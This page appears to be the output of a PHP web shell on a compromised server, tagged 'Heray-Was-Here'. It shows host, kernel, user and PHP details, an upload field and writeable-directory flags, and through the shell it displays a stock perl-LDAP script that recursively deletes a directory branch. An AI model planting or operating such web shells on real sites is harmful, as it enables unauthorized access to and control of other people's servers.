Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /usr/share/doc/perl-LDAP/contrib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/perl-LDAP/contrib/recursive-ldap-delete.pl
#!/usr/bin/perl -w
#
# recursive-ldap-delete.pl
#
# originally by Mike Jackson <mj@sci.fi>
# shortened by Peter Marschall <peter@adpm.de>
# based on ideas by Norbert Kiesel <nkiesel@tbdetworks.com>
#
# ToDo: check errors, handle references, ....

use strict;
use Net::LDAP;

my $server      = "localhost";
my $binddn      = "cn=directory manager";
my $bindpasswd  = "foobar";
my $delbranch   = "ou=users,dc=bigcorp,dc=com";		# branch to remove

my $ldap        = Net::LDAP->new( $server ) or die "$@";
$ldap->bind( $binddn, password => $bindpasswd, version => 3 );

my $search      = $ldap->search( base   => $delbranch,
                                 filter => "(objectclass=*)" );

# delete the entries found in a sorted way:
# those with more "," (= more elements) in their DN, which are deeper in the DIT, first
# trick for the sorting: tr/,// returns number of , (see perlfaq4 for details)
foreach my $e (sort { $b->dn =~ tr/,// <=> $a->dn =~ tr/,// } $search->entries()) {
  $ldap->delete($e);
}

$ldap->unbind();

Hry